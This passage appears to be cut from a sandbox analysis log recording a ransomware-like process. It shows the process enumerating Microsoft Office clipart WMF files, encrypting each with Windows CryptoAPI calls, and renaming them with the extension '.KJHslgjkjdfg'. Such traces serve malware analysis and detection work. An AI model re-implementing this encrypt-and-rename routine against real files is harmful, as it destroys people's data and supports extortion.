dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.520] GetProcessHeap () returned 0x2a0000 [0192.520] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.520] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.520] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.520] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.521] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.521] GetProcessHeap () returned 0x2a0000 [0192.521] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.521] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.521] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.521] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.523] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.523] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.523] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.523] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.524] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.524] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.524] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.524] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.524] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x6cc0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x6cc0, lpOverlapped=0x0) returned 1 [0192.525] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6cc0, dwBufLen=0x6cc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6cc0) returned 1 [0192.525] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.525] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6cc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6cc0, lpOverlapped=0x0) returned 1 [0192.526] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.526] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6d94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.526] SetEndOfFile (hFile=0x114) returned 1 [0192.529] GetProcessHeap () returned 0x2a0000 [0192.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.529] GetProcessHeap () returned 0x2a0000 [0192.529] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.529] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf.kjhslgjkjdfg")) returned 1 [0192.531] CloseHandle (hObject=0x114) returned 1 [0192.531] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfba2a500, ftCreationTime.dwHighDateTime=0x1bd4b02, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfba2a500, ftLastWriteTime.dwHighDateTime=0x1bd4b02, nFileSizeHigh=0x0, nFileSizeLow=0x7c4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00233_.WMF", cAlternateFileName="")) returned 1 [0192.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.533] GetProcessHeap () returned 0x2a0000 [0192.533] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.533] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.533] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.533] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0192.535] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.535] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.535] GetProcessHeap () returned 0x2a0000 [0192.535] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.535] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.535] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.535] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.536] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.536] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.536] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.536] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.536] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.536] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.536] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.536] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.536] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7c4a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7c4a, lpOverlapped=0x0) returned 1 [0192.538] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7c50, dwBufLen=0x7c50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7c50) returned 1 [0192.538] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.538] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7c50, lpOverlapped=0x0) returned 1 [0192.538] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.538] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.538] SetEndOfFile (hFile=0x114) returned 1 [0192.541] GetProcessHeap () returned 0x2a0000 [0192.541] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.541] GetProcessHeap () returned 0x2a0000 [0192.541] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.542] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf.kjhslgjkjdfg")) returned 1 [0192.543] CloseHandle (hObject=0x114) returned 1 [0192.543] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00402_.WMF", cAlternateFileName="")) returned 1 [0192.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.546] GetProcessHeap () returned 0x2a0000 [0192.546] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.546] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.546] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.546] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.546] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.546] GetProcessHeap () returned 0x2a0000 [0192.546] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.546] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.546] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.546] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.549] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.549] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.549] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.549] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.549] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.550] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.550] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.550] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.550] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8e0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8e0, lpOverlapped=0x0) returned 1 [0192.550] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8e0, dwBufLen=0x8e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8e0) returned 1 [0192.550] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.550] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8e0, lpOverlapped=0x0) returned 1 [0192.550] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.550] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.550] SetEndOfFile (hFile=0x114) returned 1 [0192.553] GetProcessHeap () returned 0x2a0000 [0192.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.553] GetProcessHeap () returned 0x2a0000 [0192.553] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.553] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf.kjhslgjkjdfg")) returned 1 [0192.555] CloseHandle (hObject=0x114) returned 1 [0192.555] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf396200, ftCreationTime.dwHighDateTime=0x1bd4c01, ftLastAccessTime.dwLowDateTime=0x5ae8f450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdf396200, ftLastWriteTime.dwHighDateTime=0x1bd4c01, nFileSizeHigh=0x0, nFileSizeLow=0x2054, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00482_.WMF", cAlternateFileName="")) returned 1 [0192.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.557] GetProcessHeap () returned 0x2a0000 [0192.557] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.557] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.557] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.557] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0192.559] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.559] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.559] GetProcessHeap () returned 0x2a0000 [0192.559] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.560] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.560] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.560] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.560] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.560] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0192.560] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0192.560] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0192.560] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0192.560] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.560] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.560] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.560] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2054, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2054, lpOverlapped=0x0) returned 1 [0192.562] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2060, dwBufLen=0x2060 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2060) returned 1 [0192.562] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.562] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2060, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2060, lpOverlapped=0x0) returned 1 [0192.562] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.562] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.562] SetEndOfFile (hFile=0x114) returned 1 [0192.565] GetProcessHeap () returned 0x2a0000 [0192.565] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0192.565] GetProcessHeap () returned 0x2a0000 [0192.565] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0192.565] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf.kjhslgjkjdfg")) returned 1 [0192.567] CloseHandle (hObject=0x114) returned 1 [0192.567] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d3200, ftCreationTime.dwHighDateTime=0x1bd4bf4, ftLastAccessTime.dwLowDateTime=0x5aeb55b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd55d3200, ftLastWriteTime.dwHighDateTime=0x1bd4bf4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TR00494_.WMF", cAlternateFileName="")) returned 1 [0192.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0192.569] GetProcessHeap () returned 0x2a0000 [0192.569] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0192.569] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0192.569] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0192.569] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0192.569] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0192.569] GetProcessHeap () returned 0x2a0000 [0192.569] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0192.569] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0192.569] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0192.569] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0192.620] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0192.620] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, 